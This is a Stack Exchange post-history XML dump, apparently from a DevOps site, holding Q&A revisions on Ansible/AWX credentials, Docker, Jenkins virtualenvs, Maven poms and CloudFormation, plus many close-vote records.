  <row Id="30887" PostHistoryTypeId="5" PostId="9017" RevisionGUID="4fdc9256-7d6b-4884-bbcd-2c48f270514d" CreationDate="2019-12-22T09:56:38.757" UserId="210" Comment="added 48 characters in body; edited tags" Text="I have an inventory with a lot of hosts in it using the same credentials, but one host needs a different approach. For the ssh connection a different user is used, after the connection is established, we do a privilege escalation with su.&#xD;&#xA;&#xD;&#xA;This all works fine when I create a job template in [AWX][1] and limit it to this &quot;special&quot; host. But the job template needs to be executed on all hosts. So I want to set the default credentials in the job template, and on this single host I'd like to set the credentials as host variables using&#xD;&#xA;&#xD;&#xA; - ansible_become&#xD;&#xA; - ansible_user&#xD;&#xA; - ansible_password&#xD;&#xA; - ansible_become_method&#xD;&#xA; - ansible_become_user&#xD;&#xA; - ansible_become_pass&#xD;&#xA;&#xD;&#xA;Of course I don't want the password to be in plain text in AWX so I read something about the vaults. But if I'm understood that correctly, this means I need to create a new credential in AWX and assign it to the job. &#xD;&#xA;But that doesn't work for me, because than I can't connect to the other hosts.&#xD;&#xA;&#xD;&#xA;Is there a possibility to assign the `ansible_become_pass` encrypted to this single host?&#xD;&#xA;&#xD;&#xA;I know that the easiest way is to use the same credentials as on the other hosts, but unfortunately this is not possible in this case.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/ansible/awx" ContentLicense="CC BY-SA 4.0" />
  <row Id="30888" PostHistoryTypeId="6" PostId="9017" RevisionGUID="4fdc9256-7d6b-4884-bbcd-2c48f270514d" CreationDate="2019-12-22T09:56:38.757" UserId="210" Comment="added 48 characters in body; edited tags" Text="&lt;ansible&gt;&lt;security&gt;&lt;ansible-vault&gt;&lt;ansible-inventory&gt;&lt;awx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30889" PostHistoryTypeId="2" PostId="10198" RevisionGUID="adf014bc-762d-4a4f-8662-4ee41f059a20" CreationDate="2019-12-22T09:57:46.790" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="30890" PostHistoryTypeId="1" PostId="10198" RevisionGUID="adf014bc-762d-4a4f-8662-4ee41f059a20" CreationDate="2019-12-22T09:57:46.790" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30891" PostHistoryTypeId="2" PostId="10199" RevisionGUID="7bb1cbba-f981-4bf2-8e9d-7c5b6c5a8a82" CreationDate="2019-12-22T09:57:46.790" UserId="210" Text="Use this tag if a question is about AWX, i.e. the opensource version of ansible-tower" ContentLicense="CC BY-SA 4.0" />
  <row Id="30892" PostHistoryTypeId="1" PostId="10199" RevisionGUID="7bb1cbba-f981-4bf2-8e9d-7c5b6c5a8a82" CreationDate="2019-12-22T09:57:46.790" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="30893" PostHistoryTypeId="2" PostId="10200" RevisionGUID="f043b754-eeea-4cec-b041-c0ec8ceec021" CreationDate="2019-12-22T10:30:14.880" UserId="18771" Text="You may find the following format to be helpful:&#xD;&#xA;&#xD;&#xA;    - name: Recursively change ownership of a directory  &#xD;&#xA;    file:  &#xD;&#xA;      path: /etc/foo&#xD;&#xA;      state: directory&#xD;&#xA;      recurse: yes&#xD;&#xA;      owner: foo&#xD;&#xA;      group: foo" ContentLicense="CC BY-SA 4.0" />
  <row Id="30896" PostHistoryTypeId="2" PostId="10201" RevisionGUID="87c71f56-8521-4fa5-9d9d-938b31c85788" CreationDate="2019-12-22T13:42:41.163" UserId="210" Text="There are several options:&#xD;&#xA;&#xD;&#xA;* The first one is like you mentioned, creating an image yourself, push it to dockerhub and run `docker run yourimage git` etc.&#xD;&#xA;* Another option is to use an image that has already been published like [this one][1]. One could run it by issuing:&#xD;&#xA;&#xD;&#xA;        docker run dockerinpractice/docker-dev-tools-image git&#xD;&#xA;* A third option is to add git to an existing image by using a Dockerfile:&#xD;&#xA;&#xD;&#xA;        FROM alpine/git:1.0.7&#xD;&#xA;    &#xD;&#xA;        RUN apk add --update zip&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Personally I wonder whether docker is the right tool for the job in this case.&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/dockerinpractice/docker-dev-tools-image/dockerfile" ContentLicense="CC BY-SA 4.0" />
  <row Id="30897" PostHistoryTypeId="10" PostId="2112" RevisionGUID="3128ad4a-172b-4b08-b443-1f5929cb22ce" CreationDate="2019-12-22T13:56:16.940" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30898" PostHistoryTypeId="10" PostId="2073" RevisionGUID="db6fe630-bcb8-41b5-b870-e6bac32a09c9" CreationDate="2019-12-22T13:56:36.640" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30899" PostHistoryTypeId="10" PostId="1883" RevisionGUID="fd5b4155-66e1-440a-af2c-8cdef62b89f8" CreationDate="2019-12-22T13:58:04.893" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30900" PostHistoryTypeId="10" PostId="1820" RevisionGUID="ee6f0fba-e6c7-4551-b463-b53a9b77f28b" CreationDate="2019-12-22T13:58:49.410" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30901" PostHistoryTypeId="10" PostId="1707" RevisionGUID="c7cf512c-5381-4c86-bf29-80399f66d101" CreationDate="2019-12-22T13:59:12.050" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30904" PostHistoryTypeId="10" PostId="3306" RevisionGUID="282e94d4-fd9a-4541-9fc5-f232653dad89" CreationDate="2019-12-22T14:01:12.410" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30906" PostHistoryTypeId="10" PostId="3220" RevisionGUID="ad1406de-dc80-47e9-bcf9-fe07cfb90af1" CreationDate="2019-12-22T14:01:53.680" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30907" PostHistoryTypeId="10" PostId="3099" RevisionGUID="ec646055-033e-4be7-b426-658486edc113" CreationDate="2019-12-22T14:02:31.107" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30909" PostHistoryTypeId="10" PostId="2944" RevisionGUID="58b726ba-2328-4e08-a8d2-b6ed8c7f108e" CreationDate="2019-12-22T14:02:57.783" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30911" PostHistoryTypeId="10" PostId="2865" RevisionGUID="fba24c80-22ed-407e-b708-11c67156f618" CreationDate="2019-12-22T14:03:34.450" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30912" PostHistoryTypeId="10" PostId="2827" RevisionGUID="2311b3cc-101d-49b6-827e-1fcb54199bce" CreationDate="2019-12-22T14:03:50.993" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30914" PostHistoryTypeId="10" PostId="2598" RevisionGUID="139180ea-6042-451f-939d-2676c1495068" CreationDate="2019-12-22T14:04:16.990" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30915" PostHistoryTypeId="10" PostId="2544" RevisionGUID="5a7a04be-5233-4ebc-81b5-ed2aa3c37e4f" CreationDate="2019-12-22T14:04:33.800" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30917" PostHistoryTypeId="10" PostId="2482" RevisionGUID="73772d57-8474-4c46-a102-24e8b7592e2c" CreationDate="2019-12-22T14:05:12.780" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30918" PostHistoryTypeId="10" PostId="2257" RevisionGUID="9369e52a-ecb2-43b1-add6-c8207908a778" CreationDate="2019-12-22T14:08:20.220" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30919" PostHistoryTypeId="2" PostId="10202" RevisionGUID="0f547a4c-50e5-4d14-ba3f-7b1edc4ad68e" CreationDate="2019-12-22T15:45:09.813" UserId="18774" Text="You run the command with the user `shishir9159_gmail_com` but the error shows `shishir9159@35.202.219.6: Permission denied` ... seems like the `_gmail_com` portion of the username is truncated. Can you try setting the `ansible_user` config parameter in your inventory file or playbook rather than passing it on via the CLI? " ContentLicense="CC BY-SA 4.0" />
  <row Id="30920" PostHistoryTypeId="50" PostId="9798" RevisionGUID="7439ce98-dc94-4f03-a5be-70239ceadad9" CreationDate="2019-12-22T16:02:10.317" UserId="-1" />
  <row Id="30921" PostHistoryTypeId="2" PostId="10203" RevisionGUID="434194ac-43f0-447e-9737-3f7f5f872483" CreationDate="2019-12-22T22:33:54.497" UserId="47" Text="You may want to take a look at [the ShiningPanda Plugin][1]. &#xD;&#xA;&#xD;&#xA;It allows running a build step inside a particular python virtual environment, created automatically if it doesn't exist or reused if it already exists. The virtual environment is located outside the workspace, but it can be named and made to appear as a directory with that name inside the workspace.&#xD;&#xA;&#xD;&#xA;To address the dependencies you just have to insert a build step performing the desired `pip install -r requirements.txt` variant after pulling the workspace (which will probably bring in your `requirements.txt` file) but before any other build step that would need to use the virtual environment. &#xD;&#xA;&#xD;&#xA;The same virtual environment can be used in multiple steps of the same build (by name) and a build can have multiple virtual environments if needed. But AFAIK you can't reuse the same virtual environment in different builds, each build will have it's own copy.&#xD;&#xA;&#xD;&#xA;The Plugin has a configuration to clear/wipe the environment at any build step using it, if/when needed. Obviously you wouldn't want this always enabled as it would void reusability.&#xD;&#xA;&#xD;&#xA;IMHO it works best with `requirements.txt` files with pinned package versions (like those produced by [pip-tools][2]).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/ShiningPanda+Plugin&#xD;&#xA;  [2]: https://pypi.org/project/pip-tools/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30922" PostHistoryTypeId="10" PostId="10158" RevisionGUID="d75ce68c-3b65-4bbd-83ed-460925aaea5d" CreationDate="2019-12-23T07:07:14.380" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[447],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30923" PostHistoryTypeId="5" PostId="1006" RevisionGUID="47a783c1-08ae-4b84-9b0b-d4ace7d0fe3c" CreationDate="2019-12-23T07:24:43.370" UserId="210" Comment="added 5 characters in body" Text="Having been working with ansible vault quite a bit recently (specifically regarding what the encrypt and how to encrypt those things without making the code unreadable) I've found very little incentive to change my habits in 2.3.&#xD;&#xA;&#xD;&#xA;If I'm going to have a series of encrypted variables, or files, keep them separate (I prefix them all with `vault_`) and just leave it at that.&#xD;&#xA;&#xD;&#xA;A few times I have used the !vault feature but am left distinctly unamazed as it seems easier to just be very explicit about what is and is not coming from a secrets file. That way no one editing my plays makes assumptions about what is and isn't sensitive data." ContentLicense="CC BY-SA 4.0" />
  <row Id="30924" PostHistoryTypeId="5" PostId="1366" RevisionGUID="d4a4b19f-ce32-4b75-bc22-e2bb0f2e4e96" CreationDate="2019-12-23T07:26:21.120" UserId="210" Comment="deleted 20 characters in body" Text="Since I can't comment on 030's answer yet (just opened an account), I'll answer here.&#xD;&#xA;&#xD;&#xA;Group vars directories are relative to the Ansible path.&#xD;&#xA;&#xD;&#xA;You don't have to run Ansible from /etc/ansible.  You can run it from ~/.hidden/directory/stuff if you wish.  Just make sure to keep a directory structure.  I.e.:&#xD;&#xA;&#xD;&#xA;    /pipeline/   # ansible playbooks are here&#xD;&#xA;    /pipeline/roles&#xD;&#xA;    /pipeline/group_vars&#xD;&#xA;&#xD;&#xA;Then you can run something like&#xD;&#xA;&#xD;&#xA;    cd /pipeline&#xD;&#xA;    ansible-playbook deploy_app.yml&#xD;&#xA;&#xD;&#xA;Which will read group vars from the pipeline/group_vars folder.  Better to cd to your ansible root folder first since it looks for paths from the current folder you're in if it can't find them in default location (/etc/ansible), such that you can put your ansible.cfg in /pipeline without having to specify other command line arguments.  You can also optionally define specific paths inside ansible.cfg as well.&#xD;&#xA;&#xD;&#xA;You can take it a step further and set up separate group vars for each environment/location/etc:&#xD;&#xA;&#xD;&#xA;    /pipeline/prod/group_vars/all.yml&#xD;&#xA;    /pipeline/dev/group_vars/all.yml&#xD;&#xA;&#xD;&#xA;And run as follows using include-vars.&#xD;&#xA;&#xD;&#xA;   ansible-playbook deploy_app.yml -i prod" ContentLicense="CC BY-SA 4.0" />
  <row Id="30925" PostHistoryTypeId="10" PostId="9691" RevisionGUID="e092fa8d-5ef0-4ca0-abf8-f80de16e93c8" CreationDate="2019-12-23T07:28:39.787" UserId="210" Comment="101" Text="{&quot;OriginalQuestionIds&quot;:[1549],&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30929" PostHistoryTypeId="5" PostId="2685" RevisionGUID="95fe8b09-160a-41d6-bf55-f0023c742b94" CreationDate="2019-12-23T08:25:54.530" UserId="210" Comment="added 1 character in body" Text="According to [this documentation][1] two vault servers have to be run. One of them has to be active and the other passive. In order to run such a setup both vault servers need to be unsealed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.vaultproject.io/docs/internals/high-availability.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="30930" PostHistoryTypeId="2" PostId="10204" RevisionGUID="4713519d-3615-455c-bf40-f298c55913de" CreationDate="2019-12-23T08:42:40.030" UserId="707" Text="Answer from [here][1]:&#xD;&#xA;&#xD;&#xA;&gt; Every jar needs to have a pom file describing it, you can just add&#xD;&#xA;&gt; something simple like this:&#xD;&#xA;&#xD;&#xA;Every jar needs to have a pom file describing it, you can just add something simple like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;&lt;project xmlns=&quot;http://maven.apache.org/POM/4.0.0&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xsi:schemaLocation=&quot;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd&quot;&gt;&#xD;&#xA;    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;&#xD;&#xA;    &lt;groupId&gt;aGroup&lt;/groupId&gt;&#xD;&#xA;    &lt;artifactId&gt;aArtifactId&lt;/artifactId&gt;&#xD;&#xA;    &lt;version&gt;aVersion&lt;/version&gt;&#xD;&#xA;    &lt;packaging&gt;jar&lt;/packaging&gt;&#xD;&#xA;    &lt;name&gt;a Name&lt;/name&gt;&#xD;&#xA;&lt;/project&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/7795427/why-maven-is-looking-for-pom-file-when-jar-is-present-in-the-repository/7795499#7795499" ContentLicense="CC BY-SA 4.0" />
  <row Id="30931" PostHistoryTypeId="10" PostId="3415" RevisionGUID="2cc5a1de-847e-4d30-8f0d-826cbe4e7777" CreationDate="2019-12-23T08:55:59.203" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30934" PostHistoryTypeId="10" PostId="3558" RevisionGUID="ae7ae875-1143-468d-be92-ae3be1e8caa2" CreationDate="2019-12-23T09:01:54.370" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30935" PostHistoryTypeId="10" PostId="3580" RevisionGUID="af843cff-ac5d-46c4-9f20-25510841a61d" CreationDate="2019-12-23T09:02:26.400" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30936" PostHistoryTypeId="10" PostId="3643" RevisionGUID="b525153d-77a2-494b-b7a9-d3d0ffdc33eb" CreationDate="2019-12-23T09:03:26.290" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30937" PostHistoryTypeId="13" PostId="3670" RevisionGUID="ca4b3c03-34ad-419e-9916-52bf6feae445" CreationDate="2019-12-23T09:04:56.613" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30938" PostHistoryTypeId="5" PostId="3670" RevisionGUID="057b9cc7-6cc4-401d-a711-a55963e57145" CreationDate="2019-12-23T09:05:21.930" UserId="210" Comment="added 2 characters in body" Text="You need to use a [Persitent Volume](https://docs.openshift.com/enterprise/3.1/dev_guide/persistent_volumes.html).&#xD;&#xA;&#xD;&#xA;Your `/path_to_data/openshiftdata` is probably on a disk that belongs to the pod and is being destroyed each time." ContentLicense="CC BY-SA 4.0" />
  <row Id="30940" PostHistoryTypeId="10" PostId="3865" RevisionGUID="7d395a15-9303-46a7-a6d8-2312077a9629" CreationDate="2019-12-23T09:11:01.583" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30941" PostHistoryTypeId="11" PostId="3865" RevisionGUID="296a67bf-5ec2-47e4-a571-a60111cb7faf" CreationDate="2019-12-23T09:11:18.193" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30942" PostHistoryTypeId="10" PostId="3865" RevisionGUID="146b1685-f5d3-4546-920e-1f3e392bd08b" CreationDate="2019-12-23T09:11:23.250" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30943" PostHistoryTypeId="10" PostId="3869" RevisionGUID="1f67bd83-048c-4381-ab44-258df37e311e" CreationDate="2019-12-23T09:12:26.700" UserId="210" Comment="105" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30944" PostHistoryTypeId="11" PostId="3869" RevisionGUID="ced2e58b-ef10-45f7-8bcc-afc9e67af07c" CreationDate="2019-12-23T09:12:47.563" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30945" PostHistoryTypeId="10" PostId="3869" RevisionGUID="63b8d9f9-e0ac-4bd4-9d25-07c1e18b3515" CreationDate="2019-12-23T09:12:52.550" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30946" PostHistoryTypeId="10" PostId="3870" RevisionGUID="9cac0a4b-7595-4d39-bf82-bd177f54d1dd" CreationDate="2019-12-23T09:17:22.270" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30948" PostHistoryTypeId="10" PostId="5030" RevisionGUID="69a2f2d4-1328-4bfb-88e3-29099ef48d5f" CreationDate="2019-12-23T09:23:42.850" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30950" PostHistoryTypeId="2" PostId="10205" RevisionGUID="f9267d8b-c78d-4da4-b1ab-3843ad99bcf5" CreationDate="2019-12-23T09:49:24.410" UserId="18782" Text="```&#xD;&#xA;Resources:                                                                                                                                                                                  &#xD;&#xA;    TargetGroup:                                                                                                                                                                              &#xD;&#xA;        Type: AWS::ElasticLoadBalancingV2::TargetGroup                                                                                                                                        &#xD;&#xA;        Properties:                                                                                                                                                                           &#xD;&#xA;          VpcId:                                                                                                                                                                              &#xD;&#xA;            Fn::ImportValue:                                                                                                                                                                  &#xD;&#xA;              !Sub &quot;${Prefix}-VpcId&quot;                                                                                                                                                          &#xD;&#xA;          TargetType: instance                                                                                                                                                                &#xD;&#xA;          Port: 443                                                                                                                                                                           &#xD;&#xA;          Protocol: HTTPS                                                                                                                                                                     &#xD;&#xA;    AutoScalingGroup:                                                                                                                                                                         &#xD;&#xA;        Type: AWS::AutoScaling::AutoScalingGroup                                                                                                                                              &#xD;&#xA;        Properties:                                                                                                                                                                           &#xD;&#xA;          AutoScalingGroupName: Autoscaling Group Alpha                                                                                                                                       &#xD;&#xA;          Cooldown: &quot;120&quot;                                                                                                                                                                     &#xD;&#xA;          DesiredCapacity: &quot;1&quot;                                                                                                                                                                &#xD;&#xA;          LaunchConfigurationName: AlphaLaunchConfiguration                                                                                                                                   &#xD;&#xA;          MaxSize: &quot;1&quot;                                                                                                                                                                        &#xD;&#xA;          MinSize: &quot;1&quot;                                                                                                                                                                        &#xD;&#xA;          Tags:                                                                                                                                                                               &#xD;&#xA;            -                                                                                                                                                                                 &#xD;&#xA;              Key: Name                                                                                                                                                                       &#xD;&#xA;              Value: Alpha ASG                                                                                                                                                                &#xD;&#xA;              PropagateAtLaunch: true                                                                                                                                                         &#xD;&#xA;          TargetGroupARNs:                                                                                                                                                                    &#xD;&#xA;            - Ref: TargetGroup&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;As the error message states, TargetGroupARNs value should be of type List.&#xD;&#xA;https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-as-group.html#cfn-as-group-targetgrouparns" ContentLicense="CC BY-SA 4.0" />
  <row Id="30951" PostHistoryTypeId="2" PostId="10206" RevisionGUID="dd108401-542b-4afc-a9b7-c143dce0a144" CreationDate="2019-12-23T09:59:36.063" UserId="210" Text="Although I like the idea, based on what I know while working with Gitlab, Bitbucket and Github I do not believe that it is currently possible as I cannot remember that such integrations were available.&#xD;&#xA;&#xD;&#xA;Also Googling: `github bitbucket pull request approvals integrated` did not return any positive results.&#xD;&#xA;&#xD;&#xA;I think that the users should always be part of the same organization in order to approve Pull Requests. However, when I think about github I can remember that I was able to invite people as a collaborator even when they were not part or part of any organization.&#xD;&#xA;&#xD;&#xA;In conclusion, I think that it is possible, but only in a certain git-server providers like GitHub. My suggestion is to try it and otherwise report an issue in the associate Github project.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30952" PostHistoryTypeId="10" PostId="4916" RevisionGUID="265d8683-327d-4b20-b275-9cc246d6618c" CreationDate="2019-12-23T10:01:04.390" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30955" PostHistoryTypeId="10" PostId="4768" RevisionGUID="51291c68-8ff2-4720-8645-c23dc73b9668" CreationDate="2019-12-23T10:05:56.460" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30956" PostHistoryTypeId="10" PostId="4765" RevisionGUID="1e7c281c-5c54-45fd-8299-1125b863908b" CreationDate="2019-12-23T10:08:29.790" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30957" PostHistoryTypeId="10" PostId="4671" RevisionGUID="c3e44d5a-12cc-41bd-83b9-d81ff7a5fdbb" CreationDate="2019-12-23T10:09:22.837" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30958" PostHistoryTypeId="10" PostId="4670" RevisionGUID="d99951cd-1c47-46ef-a889-3871e04ebc5a" CreationDate="2019-12-23T10:10:05.203" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30959" PostHistoryTypeId="5" PostId="10191" RevisionGUID="e3dcd937-a936-48c2-8176-00de3507596a" CreationDate="2019-12-23T10:10:25.303" UserId="354" Comment="Fixed grammar." Text="The executor thread is waiting on the channel to give it more data.&#xD;&#xA;&#xD;&#xA;You got a little confused due to the fact that the ping thread has the name of the channel Object in its threads name (which is the same Object that the executor is wating for)." ContentLicense="CC BY-SA 4.0" />
  <row Id="30960" PostHistoryTypeId="10" PostId="3880" RevisionGUID="b96e6a5d-800f-4ce2-b439-eeefefa4189f" CreationDate="2019-12-23T10:11:20.520" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30961" PostHistoryTypeId="10" PostId="3914" RevisionGUID="03fb8526-2a74-4747-988a-d5119a464c99" CreationDate="2019-12-23T10:12:25.293" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30962" PostHistoryTypeId="10" PostId="3944" RevisionGUID="1471e770-b82a-4a00-bd34-8b4a06f7d3e9" CreationDate="2019-12-23T10:12:56.883" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30964" PostHistoryTypeId="10" PostId="4569" RevisionGUID="ff62859b-bba4-40eb-80b6-733903d6e2ad" CreationDate="2019-12-23T10:23:00.183" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30966" PostHistoryTypeId="10" PostId="4513" RevisionGUID="560e8a7f-ff3b-4c8c-b17a-510676170ca3" CreationDate="2019-12-23T10:23:46.953" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30968" PostHistoryTypeId="10" PostId="4506" RevisionGUID="27cc6b99-fed4-4c75-9548-38429021d7dd" CreationDate="2019-12-23T10:24:47.887" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30969" PostHistoryTypeId="10" PostId="4477" RevisionGUID="20c12f7c-1247-4e7c-9ade-432d67dea59f" CreationDate="2019-12-23T10:25:55.030" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30970" PostHistoryTypeId="10" PostId="4468" RevisionGUID="662a696a-75e9-4230-ac9e-cd206c465b66" CreationDate="2019-12-23T10:26:31.400" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30971" PostHistoryTypeId="10" PostId="4304" RevisionGUID="9820b2f7-7568-4fe0-95ec-35e4a5ac28ff" CreationDate="2019-12-23T10:29:32.220" UserId="210" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30973" PostHistoryTypeId="10" PostId="4218" RevisionGUID="b16a2903-fce5-42f1-a8c2-de38a0b181d5" CreationDate="2019-12-23T10:30:47.103" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30974" PostHistoryTypeId="10" PostId="4217" RevisionGUID="d7908743-3826-4f9d-9543-72d99bdad5a0" CreationDate="2019-12-23T10:32:34.257" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30976" PostHistoryTypeId="10" PostId="4184" RevisionGUID="96c90c29-cccf-4ed2-9538-a3477b293f46" CreationDate="2019-12-23T10:33:31.883" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30977" PostHistoryTypeId="10" PostId="4156" RevisionGUID="b62d5b9b-e386-4993-89e5-e590af647c03" CreationDate="2019-12-23T10:34:06.480" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30978" PostHistoryTypeId="10" PostId="4122" RevisionGUID="6092d8a2-a6a2-4a58-9e7b-50ccd787393e" CreationDate="2019-12-23T10:34:39.510" UserId="210" Comment="103" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
